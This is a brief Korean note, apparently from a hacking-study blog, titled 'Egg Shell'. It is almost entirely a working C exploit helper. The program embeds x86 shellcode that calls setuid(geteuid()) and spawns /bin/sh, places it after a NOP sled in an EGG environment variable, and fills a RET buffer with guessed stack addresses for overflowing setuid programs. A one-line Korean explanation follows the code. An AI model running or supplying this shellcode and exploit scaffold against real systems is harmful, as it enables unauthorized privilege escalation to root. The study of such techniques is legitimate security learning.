에그 쉘(Egg Shell)

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())

 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void)

{

   __asm__("movl %esp,%eax");

}

int main(int argc, char *argv[])

{

   char *buff, *ptr, *egg;

   long *addr_ptr, addr;

   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);

   if (argc > 2) offset = atoi(argv[2]);

   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {

     printf("Can't allocate memory.\n");

     exit(0);

   }

   if (!(egg = malloc(eggsize))) {

     printf("Can't allocate memory.\n");

     exit(0);

   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;

   addr_ptr = (long *) ptr;

   for (i = 0; i < bsize; i+=4)

     *(addr_ptr++) = addr;

   ptr = egg;

   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)

     *(ptr++) = NOP;

   for(i = 0; i < strlen(shellcode); i++)

     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';

   egg[eggsize - 1] = '\0';

   memcpy(egg,"EGG=",4);

   putenv(egg);

   memcpy(buff,"RET=",4);

   putenv(buff);

   system("/bin/bash");

}

쉘코드를 삽입하기엔 스택의 크기가 작을 경우, 환경변수에 대신 넣고 그 환경변수를 참조하기